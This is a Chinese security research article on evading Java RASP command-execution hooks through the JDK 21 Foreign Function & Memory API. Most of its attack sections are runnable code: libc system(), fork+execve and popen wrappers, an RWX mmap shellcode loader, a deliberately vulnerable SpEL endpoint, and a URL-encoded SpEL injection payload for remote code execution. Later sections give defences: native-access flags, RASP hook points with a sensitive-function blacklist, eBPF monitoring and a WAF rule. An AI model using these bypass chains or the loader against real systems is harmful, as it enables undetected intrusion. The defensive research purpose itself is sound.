FFM API之RASP 绕过
Foreign Function & Memory API(FFM API)是 JDK 21 引入的用于替代 JNI 的本地互操作接口。
一、引言
Java 命令执行的攻防对抗持续了十余年。从反序列化到 JNDI 注入,再到各类表达式注入,攻防双方围绕 Runtime.exec() 和 ProcessBuilder 这两个入口反复博弈。防守侧的 RASP 产品几乎都将这两个类的关键方法作为核心 Hook 点,配合进程行为审计,构建起了一道看似严密的命令执行防线。
JDK 21 引入了 Foreign Function & Memory API(JEP 442,Third Preview),设计初衷是替代 JNI,为 Java 提供高性能本地互操作能力。但从安全角度看,这套 API 开辟了一条不经过传统 Java API 层的原生代码执行通道——通过 FFM API 直接调用 glibc 的 system() 函数执行命令,整个路径完全不触及 Runtime 或 ProcessBuilder,基于 Java 字节码插桩的 RASP 产品对此无感知。
更进一步,利用 mmap() 分配带有执行权限的内存区域并加载 Shellcode,可以在 JVM 进程空间内直接执行机器码,不产生任何子进程,对主机入侵检测体系构成结构性挑战。
免责声明: 本文内容仅供安全研究与授权渗透测试。利用本文技术对未授权系统进行攻击属于违法行为,由此产生的一切后果由行为人自行承担。
二、FFM API 核心原理
FFM API 由 java.lang.foreign 包提供,核心组件如下:
核心类/接口 | 职责 | 攻击相关性 |
| Java 与本地代码的桥梁,提供 downcall(Java→Native)和 upcall(Native→Java)能力 | 核心入口,通过 |
| 在已加载的共享库中查找函数符号地址 | 定位 |
| 描述本地函数的参数和返回值类型 | 必须与目标 C 函数签名严格匹配 |
| 表示一段连续的内存区域(堆内或堆外) | 传递字符串参数、写入 Shellcode |
| 管理 | 控制分配的内存何时释放 |
| 定义基本数据类型的内存布局 | 构造 |
2.1 调用流程
调用一个本地函数分四步:
- 获取 Linker —
Linker.nativeLinker()获取当前平台链接器 - 查找符号 —
SymbolLookup在已加载的库中查找目标函数地址 - 创建 MethodHandle —
downcallHandle(地址, FunctionDescriptor)得到可调用句柄 - 分配参数并调用 —
Arena分配堆外内存存放 C 字符串等参数,invoke()执行
2.2 与 JNI 的关键差异
理解这个差异是理解 RASP 绕过的前提:
对比维度 | JNI | FFM API |
开发方式 | 需编写 C/C++ 代码,编译 .so/.dll | 纯 Java 代码,无需本地编译 |
部署依赖 | 需要 .so 文件落盘 | 无额外文件,直接调用系统已加载的库 |
安全审计 | 较容易识别( | 纯 Java 调用,不触发文件系统操作 |
RASP 可见性 | 可 Hook | 不经过任何已知 Hook 点 |
FFM API 的本质是在 JVM 进程内部,通过 MethodHandle 机制直接发起 Native 函数调用。调用路径为 downcallHandle → JVM adapter stub → libffi → 目标 C 函数,完全绕过 java.lang.Runtime 和 java.lang.ProcessBuilder 的代码路径。
三、环境搭建
3.1 环境概览
组件 | 版本 / 说明 |
操作系统 | Kali Linux 2026.1(攻击机兼靶机,可分离部署) |
JDK | OpenJDK 21.0.2+13 |
构建工具 | Maven 3.9.x |
目标应用 | Spring Boot 3.2.5(内嵌 Tomcat) |
3.2 安装 JDK 21
javac -version![]()
3.3 创建漏洞靶场应用
构建一个存在 SpEL 表达式注入漏洞的 Spring Boot 应用。这个漏洞模式在实际项目中不罕见——开发者将用户输入直接拼入 SpEL 表达式求值。
项目结构:
ffm-vuln-app/
├── pom.xml
└── src/main/java/com/vuln/demo/
├── VulnApplication.java
└── VulnController.javapom.xml:
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="http://maven.apache.org/POM/4.0.0"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0
https://maven.apache.org/xsd/maven-4.0.0.xsd">
<modelVersion>4.0.0</modelVersion>
<parent>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-parent</artifactId>
<version>3.2.5</version>
</parent>
<groupId>com.vuln</groupId>
<artifactId>ffm-vuln-app</artifactId>
<version>1.0.0</version>
<properties>
<java.version>21</java.version>
<maven.compiler.source>21</maven.compiler.source>
<maven.compiler.target>21</maven.compiler.target>
</properties>
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>
</dependencies>
<build>
<plugins>
<plugin>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-maven-plugin</artifactId>
</plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId>
<configuration>
<compilerArgs>
<arg>--enable-preview</arg>
</compilerArgs>
</configuration>
</plugin>
</plugins>
</build>
</project>VulnApplication.java:
package com.vuln.demo;
import org.springframework.boot.SpringApplication;
import org.springframework.boot.autoconfigure.SpringBootApplication;
@SpringBootApplication
public class VulnApplication {
public static void main(String[] args) {
SpringApplication.run(VulnApplication.class, args);
}
}VulnController.java(漏洞接口):
package com.vuln.demo;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
import org.springframework.web.bind.annotation.GetMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;
@RestController
public class VulnController {
private final ExpressionParser parser = new SpelExpressionParser();
/**
* 漏洞接口:直接对用户输入进行 SpEL 求值
* 正常用法:GET /calc?expr=1+1 → 返回 "Result: 2"
*/
@GetMapping("/calc")
public String calc(@RequestParam String expr) {
try {
Object result = parser.parseExpression(expr).getValue();
return "Result: " + result;
} catch (Exception e) {
return "Error: " + e.getMessage();
}
}
}3.4 编译与启动
cd ffm-vuln-app
# 编译打包(--enable-preview 由 maven-compiler-plugin 自动传递给 javac)
mvn clean package -DskipTests
# 启动靶场(必须添加 --enable-preview 以启用 FFM API 预览特性)
java --enable-preview -jar target/ffm-vuln-app-1.0.0.jar
测试接口
curl "http://localhost:8080/calc?expr=1%2B1"
# 预期输出:Result: 2
1+1 是一个 SpEL 算术表达式,服务端执行后返回计算结果 。
测试字符串拼接
curl "http://localhost:8080/calc?expr='hello'.concat('+world')"
# 预期输出:Result: hello+world
'hello'.concat('+world') 是一个 SpEL 方法调用,服务端执行了字符串拼接。
环境 OK!
四、实验一:FFM API 直调 libc 执行系统命令
先以独立 Java 程序演示 FFM API 调用 libc
system()执行命令的完整过程。
4.1 完整代码
FfmSystemExec.java
import java.lang.foreign.Arena;
import java.lang.foreign.FunctionDescriptor;
import java.lang.foreign.Linker;
import java.lang.foreign.MemorySegment;
import java.lang.foreign.SymbolLookup;
import java.lang.foreign.ValueLayout;
import java.lang.invoke.MethodHandle;
public class FfmSystemExec {
public static void main(String[] args) throws Throwable {
Linker linker = Linker.nativeLinker();
SymbolLookup defaultLookup = linker.defaultLookup();
MemorySegment systemAddr = defaultLookup.find("system")
.orElseThrow(() -> new RuntimeException("找不到 system() 函数符号"));
MethodHandle systemHandle = linker.downcallHandle(
systemAddr,
FunctionDescriptor.of(
ValueLayout.JAVA_INT,
ValueLayout.ADDRESS
)
);
try (Arena arena = Arena.ofConfined()) {
MemorySegment cmdStr = arena.allocateUtf8String("id && whoami");
System.out.println("[*] 通过 FFM API 调用 libc system()...");
int exitCode = (int) systemHandle.invoke(cmdStr);
System.out.println("[*] system() 返回值: " + exitCode);
}
}
}4.2 编译与执行
javac --enable-preview --source 21 FfmSystemExec.java
java --enable-preview FfmSystemExec
4.3 调用链逐层分析
步骤 | Java 层操作 | 底层行为 |
| 获取平台 Linker 实现 | Linux 下为基于 libffi 的实现 |
| 查找 | 本质是 |
| 创建调用句柄 | JVM 生成 adapter stub 代码,处理 Java/C 调用约定转换(System V AMD64 ABI) |
| 执行调用 | adapter stub 直接跳转到 libc |
整个过程中没有任何代码涉及 java.lang.Runtime、java.lang.ProcessBuilder 或 java.lang.ProcessImpl。 从 JVM 角度看,这只是一次 MethodHandle.invoke() 调用。从操作系统角度看,system() 内部的 fork()+execve() 由 libc 发起,完全在 Java 字节码插桩的感知范围之外。
4.4 fork + execve 精细控制
system() 内部通过 /bin/sh -c 执行命令,进程树中会出现 sh 进程,可能被 EDR 捕获。直接调用 fork()+execve() 可以避免中间 shell 进程:
FfmStealthExec.java
import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
public class FfmStealthExec {
public static void stealthExec(String program, String... argv) throws Throwable {
Linker linker = Linker.nativeLinker();
SymbolLookup lookup = linker.defaultLookup();
MethodHandle fork = linker.downcallHandle(
lookup.find("fork").orElseThrow(),
FunctionDescriptor.of(ValueLayout.JAVA_INT)
);
MethodHandle execve = linker.downcallHandle(
lookup.find("execve").orElseThrow(),
FunctionDescriptor.of(
ValueLayout.JAVA_INT,
ValueLayout.ADDRESS,
ValueLayout.ADDRESS,
ValueLayout.ADDRESS
)
);
MethodHandle waitpid = linker.downcallHandle(
lookup.find("waitpid").orElseThrow(),
FunctionDescriptor.of(
ValueLayout.JAVA_INT,
ValueLayout.JAVA_INT,
ValueLayout.ADDRESS,
ValueLayout.JAVA_INT
)
);
try (Arena arena = Arena.ofConfined()) {
int pid = (int) fork.invoke();
if (pid == 0) {
MemorySegment pathSeg = arena.allocateUtf8String(program);
// argv 数组: [program, arg1, ..., NULL]
// 每个指针 8 字节 (x86_64),手动计算总大小
int ptrCount = argv.length + 2; // program + args + NULL
long ptrSize = ValueLayout.ADDRESS.byteSize(); // 8
MemorySegment argvArray = arena.allocate(
ptrSize * ptrCount, ptrSize);
argvArray.setAtIndex(ValueLayout.ADDRESS, 0, pathSeg);
for (int i = 0; i < argv.length; i++) {
argvArray.setAtIndex(ValueLayout.ADDRESS, i + 1,
arena.allocateUtf8String(argv[i]));
}
argvArray.setAtIndex(ValueLayout.ADDRESS, argv.length + 1,
MemorySegment.NULL);
execve.invoke(pathSeg, argvArray, MemorySegment.NULL);
} else if (pid > 0) {
MemorySegment status = arena.allocate(
ValueLayout.JAVA_INT.byteSize(),
ValueLayout.JAVA_INT.byteAlignment());
waitpid.invoke(pid, status, 0);
System.out.println("[*] 子进程退出,状态码: "
+ status.get(ValueLayout.JAVA_INT, 0));
}
}
}
public static void main(String[] args) throws Throwable {
System.out.println("[*] 通过 fork+execve 执行 /usr/bin/id ...");
stealthExec("/usr/bin/id");
}
}javac --enable-preview --source 21 FfmStealthExec.java
java --enable-preview FfmStealthExec
fork() 后子进程继承了 JVM 的多线程状态,但只有调用 fork() 的线程被保留。子进程应尽快调用 execve() 完成进程替换,避免 JVM 内部状态不一致导致的不可预期行为。增加了 waitpid() 确保父进程(JVM)等待子进程执行完毕后再继续,避免产生僵尸进程。
五、实验二:strace 验证调用链差异
代码层面分析了调用链差异,但最有说服力的是从内核系统调用层面直接观测。通过
strace跟踪两种命令执行方式的系统调用序列,可以直观看到路径差异。
5.1 传统 Runtime.exec() 的 strace 输出
先写一个使用 Runtime.exec() 的测试程序:
TraditionalExec.java
public class TraditionalExec {
public static void main(String[] args) throws Exception {
System.out.println("[*] 调用 Runtime.exec()...");
Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/id"});
p.getInputStream().transferTo(System.out);
p.waitFor();
}
}编译并用 strace 跟踪(-f 跟踪子进程,-e trace=process 只显示进程相关的系统调用):
javac TraditionalExec.java
strace -f -e trace=clone,clone3,execve -o trace_traditional.txt \
java TraditionalExec
查看关键输出:
grep -E "clone|execve" trace_traditional.txt | grep -v "java" | tail -10
这就是 ProcessImpl.forkAndExec() 的底层实现 — 它用 clone3(CLONE_VFORK) 创建子进程,然后子进程立刻调用 execve 替换为目标程序。
clone3(CLONE_VFORK)是由ProcessImpl.forkAndExec()这个 JNI 方法发起的,而forkAndExec()的 Java 层调用入口是ProcessBuilder.start()→ProcessImpl.<init>。RASP 在 Java 字节码层面对这些类做了插桩,所以在clone3发生之前就已经拦截了。
接下来跑 FFM API 方式的 strace 对比,差异就一目了然了。
5.2 FFM API 方式的 strace 输出
javac --enable-preview --source 21 FfmSystemExec.java
strace -f -e trace=clone,clone3,execve -o trace_ffm.txt \
java --enable-preview FfmSystemExec
查看关键输出:
grep -E "clone|execve" trace_ffm.txt | grep -v "java" | tail -10
区别一目了然:
维度 | 传统 Runtime.exec() | FFM API system() |
clone3 发起者 |
| libc |
clone3 标志 |
|
|
execve 目标 | 直接 | 先 |
进程链 |
|
|
Java 层入口 |
|
|
六、实验三:RASP 绕过对比验证
strace 证明了系统调用层面的差异,本节进一步通过编写轻量级 RASP Agent 来验证 Java 层的防护效果。
6.1 RASP Agent 实现
这个 Agent 通过 SecurityManager.checkExec() 拦截所有通过 Runtime.exec() / ProcessBuilder 发起的命令执行。注意 JDK 17 开始 SecurityManager 标记为 @Deprecated(forRemoval=true),JDK 18+ 需要显式添加 -Djava.security.manager=allow 才能使用。
SimpleRasp.java:
import java.lang.instrument.Instrumentation;
public class SimpleRasp {
@SuppressWarnings("removal")
public static void premain(String agentArgs, Instrumentation inst) {
System.out.println("[RASP] 命令执行防护已加载");
System.setSecurityManager(new SecurityManager() {
@Override
public void checkExec(String cmd) {
String caller = Thread.currentThread().getStackTrace()[3].getClassName();
System.out.println("[RASP] *** 拦截命令执行 ***");
System.out.println("[RASP] 命令: " + cmd);
System.out.println("[RASP] 调用者: " + caller);
throw new SecurityException("[RASP] 命令执行已阻止: " + cmd);
}
@Override
public void checkPermission(java.security.Permission perm) { }
@Override
public void checkPermission(java.security.Permission perm, Object ctx) { }
});
}
}MANIFEST.MF:
Premain-Class: SimpleRasp
编译打包:
javac SimpleRasp.java
jar cfm SimpleRasp.jar MANIFEST.MF SimpleRasp.class验证 jar 包内容
jar tf SimpleRasp.jar
6.2 对比测试程序
RaspBypassTest.java
import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
public class RaspBypassTest {
public static void main(String[] args) throws Throwable {
System.out.println("===== 测试1: Runtime.exec() =====");
try {
Process p = Runtime.getRuntime().exec(new String[]{"/usr/bin/id"});
p.getInputStream().transferTo(System.out);
p.waitFor();
System.out.println("[+] Runtime.exec() 执行成功");
} catch (SecurityException e) {
System.out.println("[-] 被 RASP 拦截: " + e.getMessage());
}
System.out.println();
System.out.println("===== 测试2: ProcessBuilder =====");
try {
Process p = new ProcessBuilder("/usr/bin/id").start();
p.getInputStream().transferTo(System.out);
p.waitFor();
System.out.println("[+] ProcessBuilder 执行成功");
} catch (SecurityException e) {
System.out.println("[-] 被 RASP 拦截: " + e.getMessage());
}
System.out.println();
System.out.println("===== 测试3: FFM API system() =====");
try {
Linker linker = Linker.nativeLinker();
SymbolLookup lookup = linker.defaultLookup();
MemorySegment systemAddr = lookup.find("system").orElseThrow();
MethodHandle systemHandle = linker.downcallHandle(
systemAddr,
FunctionDescriptor.of(ValueLayout.JAVA_INT, ValueLayout.ADDRESS)
);
try (Arena arena = Arena.ofConfined()) {
MemorySegment cmd = arena.allocateUtf8String("id");
int ret = (int) systemHandle.invoke(cmd);
System.out.println("[+] FFM API system() 执行成功,返回值: " + ret);
}
} catch (SecurityException e) {
System.out.println("[-] 被 RASP 拦截: " + e.getMessage());
}
}
}6.3 执行与结果
编译测试程序
javac --enable-preview --source 21 RaspBypassTest.java挂载 RASP Agent 运行
java --enable-preview \
-Djava.security.manager=allow \
-javaagent:SimpleRasp.jar \
RaspBypassTest输出:

6.4 结果分析
执行方式 | RASP 拦截结果 | 命令是否执行 | 原因 |
| 已拦截 | 否 | 触发 |
| 已拦截 | 否 | 内部调用路径同上 |
FFM API → | 未拦截 | 是 | 不经过 Java 进程创建 API |
七、实验四:Shellcode 内存加载与执行
system() 虽然绕过了 Java 层 RASP,但内部仍会 fork 子进程,主机 EDR 可以捕获进程创建事件。本节更进一步——用 FFM API 调用 mmap() 分配可执行内存,直接在 JVM 进程内执行 Shellcode,不产生任何子进程。
7.1 技术原理
- 通过 FFM API 调用
mmap(),以PROT_READ|PROT_WRITE|PROT_EXEC(0x7) 权限分配内存 - 将 Shellcode 字节写入该内存
- 将内存地址作为函数指针,通过
downcallHandle()包装为MethodHandle并调用
7.2 Shellcode 说明
使用一段无害的 x86_64 Linux Shellcode,功能是调用 write(1, "FFM_PWN\n", 8) 向标准输出打印字符串后正常返回。
手写汇编对照:

编译后的机器码字节序列:

RIP 偏移量计算:
lea rsi, [rip+0x08]中的 0x08 是从下一条指令(mov edx)到字符串数据的距离。lea指令执行时 RIP 指向下一条指令(偏移17),字符串起始于偏移25,差值 = 25 - 17 = 8 = 0x08。这里务必算准,偏移错误会导致 Segmentation Fault。
如果需要自行验证,可以用 ndisasm 反汇编确认:
# 将 Java byte 数组中的字节写入文件
printf '\xB8\x01\x00\x00\x00\xBF\x01\x00\x00\x00\x48\x8D\x35\x08\x00\x00\x00\xBA\x08\x00\x00\x00\x0F\x05\xC3\x46\x46\x4D\x5F\x50\x57\x4E\x0A' > /tmp/sc.bin
# 反汇编验证
ndisasm -b 64 /tmp/sc.binndisasm 输出:

[rel 0x19] 就是绝对地址 0x19 = 25,正是字符串 "FFM_PWN\n" 的起始位置,验证通过。
7.3 完整利用代码
FfmShellcodeLoader.java
import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
/**
* FFM API Shellcode 加载器
* 通过 mmap 分配 RWX 内存,写入 shellcode 并执行
*/
public class FfmShellcodeLoader {
public static void main(String[] args) throws Throwable {
Linker linker = Linker.nativeLinker();
SymbolLookup lookup = linker.defaultLookup();
// ===== 获取 mmap / munmap 函数句柄 =====
// void *mmap(void *addr, size_t length, int prot,
// int flags, int fd, off_t offset)
MethodHandle mmap = linker.downcallHandle(
lookup.find("mmap").orElseThrow(),
FunctionDescriptor.of(
ValueLayout.ADDRESS, // 返回值: void*
ValueLayout.ADDRESS, // addr
ValueLayout.JAVA_LONG, // length (size_t)
ValueLayout.JAVA_INT, // prot
ValueLayout.JAVA_INT, // flags
ValueLayout.JAVA_INT, // fd
ValueLayout.JAVA_LONG // offset (off_t)
)
);
// int munmap(void *addr, size_t length)
MethodHandle munmap = linker.downcallHandle(
lookup.find("munmap").orElseThrow(),
FunctionDescriptor.of(
ValueLayout.JAVA_INT,
ValueLayout.ADDRESS,
ValueLayout.JAVA_LONG
)
);
// ===== 定义 shellcode =====
// x86_64 Linux: write(1, "FFM_PWN\n", 8) + ret
byte[] shellcode = {
(byte)0xB8, 0x01, 0x00, 0x00, 0x00, // mov eax, 1
(byte)0xBF, 0x01, 0x00, 0x00, 0x00, // mov edi, 1
0x48, (byte)0x8D, 0x35, 0x08, 0x00, 0x00, 0x00, // lea rsi, [rip+0x08]
(byte)0xBA, 0x08, 0x00, 0x00, 0x00, // mov edx, 8
0x0F, 0x05, // syscall
(byte)0xC3, // ret
0x46, 0x46, 0x4D, 0x5F, 0x50, 0x57, 0x4E, 0x0A // "FFM_PWN\n"
};
long pageSize = 4096;
// Linux mmap 常量
int PROT_READ = 0x1;
int PROT_WRITE = 0x2;
int PROT_EXEC = 0x4;
int MAP_PRIVATE = 0x02;
int MAP_ANONYMOUS = 0x20;
// ===== 分配 RWX 内存 =====
MemorySegment execMem = ((MemorySegment) mmap.invoke(
MemorySegment.NULL, // addr: 由内核决定
pageSize, // length: 一页
PROT_READ | PROT_WRITE | PROT_EXEC, // prot: RWX (0x7)
MAP_PRIVATE | MAP_ANONYMOUS, // flags: 0x22
-1, // fd: 无文件映射
0L // offset
)).reinterpret(pageSize);
// reinterpret() 将零长度返回段扩展为 pageSize,使其可读写
System.out.println("[*] mmap 分配 RWX 内存成功");
System.out.println(" 地址: 0x" + Long.toHexString(execMem.address()));
System.out.println(" 大小: " + pageSize + " bytes");
System.out.println(" 权限: PROT_READ|PROT_WRITE|PROT_EXEC (0x7)");
// ===== 写入 shellcode =====
// copyFrom 将源 MemorySegment 的全部内容复制到目标
execMem.copyFrom(MemorySegment.ofArray(shellcode));
System.out.println("[*] Shellcode 写入完成,大小: " + shellcode.length + " bytes");
// ===== 执行 shellcode =====
// 将内存地址包装为 void(void) 函数指针并调用
MethodHandle shellcodeFunc = linker.downcallHandle(
execMem,
FunctionDescriptor.ofVoid()
);
System.out.println("[*] 执行 Shellcode...");
shellcodeFunc.invoke();
System.out.println("[*] Shellcode 执行完毕,JVM 进程存活");
// ===== 清理 =====
int ret = (int) munmap.invoke(execMem, pageSize);
System.out.println("[*] munmap 返回: " + ret + " (0=成功)");
}
}7.4 编译执行
javac --enable-preview --source 21 FfmShellcodeLoader.java
java --enable-preview FfmShellcodeLoader
FFM_PWN字符串由 Shellcode 通过write系统调用直接写到 stdout,JVM 执行完毕后继续正常运行。
7.5 关键技术细节
Shellcode 执行后 JVM 为什么不会崩溃?
关键在于 Shellcode 末尾的 ret 指令。downcallHandle() 生成的 adapter stub 遵循 System V AMD64 ABI,调用目标函数前保存了调用栈帧。Shellcode 通过 ret 正常返回后,控制流交还给 adapter stub,再返回到 Java 层的 invoke() 调用点。只要 Shellcode 不破坏 callee-saved 寄存器(rbx、rbp、r12-r15)和栈指针,JVM 就能保持稳定。
mmap 返回值的处理:
FFM API 中,downcall 返回 ADDRESS 类型时得到的 MemorySegment 默认是零长度的,不能直接读写。必须调用 .reinterpret(newSize) 扩展其可访问范围。这是一个容易踩坑的地方——忘记 reinterpret 会在写入时抛出 IndexOutOfBoundsException。
八、实验五:SpEL 注入场景下的 FFM 利用链
前面的实验都是本地运行。本节将视角切换到远程利用场景:通过 Web 应用的 SpEL 注入漏洞,远程构造 FFM API 利用链。
8.1 传统 SpEL RCE Payload
常规的 SpEL 命令执行 Payload:
T(java.lang.Runtime).getRuntime().exec('id')
这条 payload 在有 RASP 防护或 WAF 的环境中会被拦截,因为包含 Runtime、exec 等敏感关键字。
8.2 FFM API 利用链构造
SpEL 支持通过 T() 操作符引用 Java 类型和静态方法,支持链式调用。完整的 FFM API 利用链可以在单条表达式中构造:
T(java.lang.foreign.Linker).nativeLinker().downcallHandle(
T(java.lang.foreign.Linker).nativeLinker().defaultLookup()
.find('system').get(),
T(java.lang.foreign.FunctionDescriptor).of(
T(java.lang.foreign.ValueLayout).JAVA_INT,
T(java.lang.foreign.ValueLayout).ADDRESS
)
).invoke(
T(java.lang.foreign.Arena).ofAuto().allocateFrom('id')
)逐层拆解:
层级 | SpEL 片段 | 功能 |
1 |
| 获取本地链接器 |
2 |
| 查找 libc |
3 |
| 描述 |
4 |
| 创建指向 |
5 |
| 分配堆外内存存放命令字符串 |
6 |
| 触发命令执行 |
find() 返回 Optional<MemorySegment>,这里用 .get() 而非 .orElseThrow(),因为 SpEL 对 lambda 表达式支持有限。在确认目标环境是 Linux 的情况下,system 符号必然存在,直接 .get() 即可。
8.3 远程利用步骤
确保靶场应用已按第三节启动(java --enable-preview -jar ffm-vuln-app-1.0.0.jar)。
Step 1:确认注入点正常工作
curl -s "http://localhost:8080/calc?expr=1%2B1"
Step 2:发送 FFM API 利用链
将 SpEL 表达式拼接为一行并 URL 编码后发送:
PAYLOAD='T(java.lang.foreign.Linker).nativeLinker().downcallHandle(T(java.lang.foreign.Linker).nativeLinker().defaultLookup().find(%27system%27).get(),T(java.lang.foreign.FunctionDescriptor).of(T(java.lang.foreign.ValueLayout).JAVA_INT,T(java.lang.foreign.ValueLayout).ADDRESS)).invokeWithArguments(T(java.lang.foreign.Arena).ofAuto().allocateUtf8String(%27id%27))'
curl -s "http://localhost:8080/calc?expr=${PAYLOAD}"攻击端 HTTP 响应:
Result: 0

靶场服务端控制台输出:

system() 的输出打到了靶场进程的 stdout,HTTP 响应只返回了 system() 的返回值 0。
8.4 带回显的改进:popen + fgets
要在 HTTP 响应中获取命令输出,需要使用 popen() + fgets() 组合。以下为独立的 Java 验证程序:
FfmPopenExec.java
import java.lang.foreign.*;
import java.lang.invoke.MethodHandle;
public class FfmPopenExec {
public static String execWithOutput(String command) throws Throwable {
Linker linker = Linker.nativeLinker();
SymbolLookup lookup = linker.defaultLookup();
MethodHandle popen = linker.downcallHandle(
lookup.find("popen").orElseThrow(),
FunctionDescriptor.of(ValueLayout.ADDRESS,
ValueLayout.ADDRESS, ValueLayout.ADDRESS)
);
MethodHandle fgets = linker.downcallHandle(
lookup.find("fgets").orElseThrow(),
FunctionDescriptor.of(ValueLayout.ADDRESS,
ValueLayout.ADDRESS, ValueLayout.JAVA_INT,
ValueLayout.ADDRESS)
);
MethodHandle pclose = linker.downcallHandle(
lookup.find("pclose").orElseThrow(),
FunctionDescriptor.of(ValueLayout.JAVA_INT,
ValueLayout.ADDRESS)
);
try (Arena arena = Arena.ofConfined()) {
MemorySegment cmdSeg = arena.allocateUtf8String(command);
MemorySegment modeSeg = arena.allocateUtf8String("r");
MemorySegment fp = (MemorySegment) popen.invoke(cmdSeg, modeSeg);
if (fp.address() == 0) {
return "popen() failed";
}
fp = fp.reinterpret(8);
MemorySegment buf = arena.allocate(4096);
StringBuilder output = new StringBuilder();
while (true) {
MemorySegment result = (MemorySegment) fgets.invoke(buf, 4096, fp);
if (result.address() == 0) break;
output.append(buf.getUtf8String(0));
}
pclose.invoke(fp);
return output.toString();
}
}
public static void main(String[] args) throws Throwable {
System.out.println("[*] 执行 'id && uname -a':");
String output = execWithOutput("id && uname -a");
System.out.println(output);
}
}javac --enable-preview --source 21 FfmPopenExec.java
java --enable-preview FfmPopenExec
与之前
system()只能在服务端 stdout 输出不同,popen()+fgets()组合把命令输出完整捕获到了 Java 的StringBuilder中。这意味着在 SpEL 注入场景下,攻击者可以通过 HTTP 响应直接拿到命令回显,不需要额外的带外通道(DNS外带、文件写入等)。
8.5 利用链对比
维度 | 传统 SpEL RCE | FFM API SpEL RCE |
入口 |
|
|
底层调用链 | Runtime → ProcessBuilder → ProcessImpl → forkAndExec | Linker → adapter stub → libffi → libc |
RASP 可见 | 完全可见 | 不可见 |
WAF 关键字 |
|
|
前置条件 | 无 | JVM 启用 |
九、防御方案与检测策略
9.1 JVM 层:限制 FFM API 使用权限(根因阻断)
JDK 21: FFM API 处于 Preview 阶段,需要 --enable-preview 才能使用。生产环境不启用该参数即可从根源上阻断。
JDK 22+: FFM API 已正式转正,但引入了 --enable-native-access 参数控制哪些模块可以进行 Native 调用:
# 只允许指定模块使用 FFM API 的 restricted 方法
java --enable-native-access=com.myapp.core -jar app.jar
# 未授权模块调用 Linker.nativeLinker() 等 restricted 方法时
# JVM 会输出警告(默认 warn 模式)或抛出 IllegalCallerException(deny 模式)
java --enable-native-access=com.myapp.core \
--illegal-native-access=deny \
-jar app.jar9.2 RASP 层:扩展 Hook 覆盖范围
RASP 产品需要将 FFM API 关键入口纳入监控:
新增 Hook 点 | 类 / 方法 | 监控目的 |
链接器获取 |
| 检测 Native 链接器获取行为 |
符号查找 |
| 检测敏感函数(system、execve、mmap、popen)查找 |
Downcall 创建 |
| 检测 Native 函数调用句柄创建 |
库加载 |
| 检测额外共享库加载 |
实施建议: 对 SymbolLookup.find() 插桩,维护敏感函数黑名单(system、execve、popen、mmap、dlopen、mprotect),匹配时触发告警或阻断。
9.3 主机层:eBPF 监控
内核级监控是对抗 Shellcode 加载最有效的手段。通过 eBPF 挂载到 mmap 系统调用,检测带 PROT_EXEC 标志的内存分配:
# 安装 bpftrace(Kali Linux)
sudo apt install -y bpftrace
# 监控所有进程的 RWX 内存分配
sudo bpftrace -e '
tracepoint:syscalls:sys_enter_mmap
/args->prot & 4/
{
printf("[ALERT] PID=%d COMM=%s mmap(len=%lu, prot=0x%x)\n",
pid, comm, args->len, args->prot);
}'在另一个终端运行 Shellcode 加载实验时,bpftrace 会输出:
[ALERT] PID=12345 COMM=java mmap(len=4096, prot=0x7)Java 进程正常运行时几乎不会分配 prot=0x7(RWX)的内存,因此该检测规则误报率极低。JIT 编译器分配的代码缓存使用 mmap + 后续 mprotect 的方式,不会一次性申请 RWX。
9.4 WAF 层:更新规则库
Web 应用防火墙需要新增 FFM API 关键字检测:
# ModSecurity 规则示例
SecRule ARGS "@rx (?i)(nativeLinker|downcallHandle|SymbolLookup|java\.lang\.foreign|FunctionDescriptor|ValueLayout\.ADDRESS)" \
"id:100001,\
phase:2,\
deny,\
status:403,\
msg:'Potential FFM API exploitation attempt',\
tag:'attack-rce'"十、总结
语言层面每引入一种新的 Native 交互能力,就可能产生新的绕过路径。更持久的方案是监控底层行为——无论上层通过什么 API 发起调用,最终的系统调用行为(execve、mmap+PROT_EXEC)是不变的。eBPF 在这个方向上的价值会越来越大。
Java 从一个纯托管的沙箱语言,逐步演变为拥有直接 Native 互操作能力的系统级语言。安全防护的思路需要随之演进——从 Java 层的 API 拦截,向内核层的行为监控下沉。


tql